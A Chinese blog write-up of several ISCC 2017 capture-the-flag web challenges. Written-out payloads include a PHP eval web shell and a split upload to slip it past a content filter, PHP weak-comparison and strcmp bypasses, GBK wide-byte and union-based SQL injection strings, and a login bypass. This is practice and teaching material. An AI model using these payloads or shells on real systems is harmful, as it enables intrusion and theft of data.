标签:php5 内容 inf src line class 数据 base64 arch
这种签到题不能往难了想,首先理所当然的这样传参
hiddenflag=f1ag&flag=f1ag
这回显不一样了,试了很多方法,最后就是再加一个参数FLAG=f1ag,然后就成了,完全没有逻辑。。。

首先上传一句话,格式为php5,菜刀连上
然后看base.php:
<?php$servername="localhost";$username="iscc2017";$password="iscc2017";$db="flag";$tb="flag";?>
根据信息访问这个服务器的数据库,拿到flag

看源码:
<!--$v1=0;$v2=0;$v3=0;$a=(array)json_decode(@$_GET[‘iscc‘]);if(is_array($a)){is_numeric(@$a["bar1"])?die("nope"):NULL;if(@$a["bar1"]){($a["bar1"]>2016)?$v1=1:NULL;}if(is_array(@$a["bar2"])){if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");$pos = array_search("nudt", $a["bar2"]);$pos===false?die("nope"):NULL;foreach($a["bar2"] as $key=>$val){$val==="nudt"?die("nope"):NULL;}$v2=1;}}$c=@$_GET[‘cat‘];$d=@$_GET[‘dog‘];if(@$c[1]){if(!strcmp($c[1],$d) && $c[1]!==$d){eregi("3|1|c",$d.$c[0])?die("nope"):NULL;strpos(($c[0].$d), "isccctf2017")?$v3=1:NULL;}}if($v1 && $v2 && $v3){echo $flag;}
就是反复的用一些PHP的函数漏洞,弱等于
第一个参数iscc为JSON格式的
bar1要求不是数字又要比2016大,这用到了PHP中字符串和数字型比较的时候先会用intval()函数做转换,所以bar1:2017a
bar2要求是数组,长度为5,并且第一位还是个数组,并且其中要有"nudt",这里用到字符串弱等于0,所以这五个元素中要有0存在
eregi可以使用%00截断绕过,所以dog=%00,cat[0]=34567isccctf2017
strcmp传参为数组的时候返回NULL,所以cat[1][]=1111
最后payload:
iscc={%22bar1%22:%222017e%22,%22bar2%22:[[1],1,2,3,0]}&cat[0]=34567isccctf2017&cat[1][]=1111&dog=%00

首先扫目录,发现有robots.txt
找到admin.php,简单注入,拿到flag

这题有两个关键:
1、破解这个KaIsA(凯撒)加密函数
2、怎么绕过文件内容检测传shell
对于第一个问题,可以通过
$re=KaIsA(base64_encode(serialize(array($filetype,$filename))),6);
可以获取加密后的字符串,然后观察比对,发现这是个变种的凯撒加密,小写字母左移6位,大写字母右移6位,数字不动,这是加密代码:
def kaisai(s):re=""for i in range(len(s)):if s[i]>=‘a‘ and s[i]<=‘z‘:t=ord(s[i])-6if t<97:re+=chr(t-97+123)continueif(t>122):re+=chr(t-122+96)continuere+=chr(t)if s[i]>=‘A‘ and s[i]<=‘Z‘:t=ord(s[i])+6if t<65:re+=chr(t-65+91)continueif t>90:re+=chr(t-90+64)continuere+=chr(t)if s[i]>=‘0‘ and s[i]<=‘9‘:re+=s[i]print(re)a=""kaisai(a)
第二步要绕过这个文件内容检测,可以通过多次上传的方式,依次将一句话传上去,但是这个数组只能有两位,所以想到php短标签,将一句话分为这两部分:
<和? eval($_POST[‘cmd‘]);
上传之后利用fwrite将两个文件和为一个txt
<?php$a[1]="522421975";$a[2]="563896667";echo base64_encode(serialize($a));?>
a[1]和a[2]是上传之后的文件名,然后凯撒加密后提交,得到完整shell的txt格式文件,接下来将之rename为php:
$a[0]="php";$a[1]="1824217370";echo base64_encode(serialize($a));?>
加密后提交,访问这个页面,访问后可以直接得到flag(注意有302重定向)

先扫目录,没有发现,然后找到了flag.php,看了半天结果还是什么都没有。抓个包,看到了这个:

结合题目的意思,猜测可能是gbk宽字节注入,接下来就要找注入点了,这里脑洞了半天猜参数,flag,id等等,最后发现是id。
后面的注入就套路了,也没有什么过滤:
id=%df‘ union select 1,group_concat(schema_name) from information_schema.schemata%23id=%df‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7765625f726f626f7473%23%df‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167%23%df‘ union select 1,convert(thisisflag using gbk) from flag%23 # 注意页面编码和数据库编码不一致,需要绕过
![]()
这题首先是猜后台逻辑,可能是这么写的。
$name=$_POST[‘username‘];$pw=md5($_POST[‘password‘]);$sql="select password from users where name=".$name;$result=mysql_fetch_array(mysql_query($sql));if($result[‘password‘]){if(!strcasecmp($result[‘password‘],$pw)){echo $flag;}else{echo "password error";}else{echo "username error";}
这题南邮有原题http://4.chinalover.sinaapp.com/web6/index.php
最后username=admin‘ and 1=2 union select md5(1)#&password=1

标签:php5 内容 inf src line class 数据 base64 arch
原文地址:http://www.cnblogs.com/zaki-Gui/p/7115850.html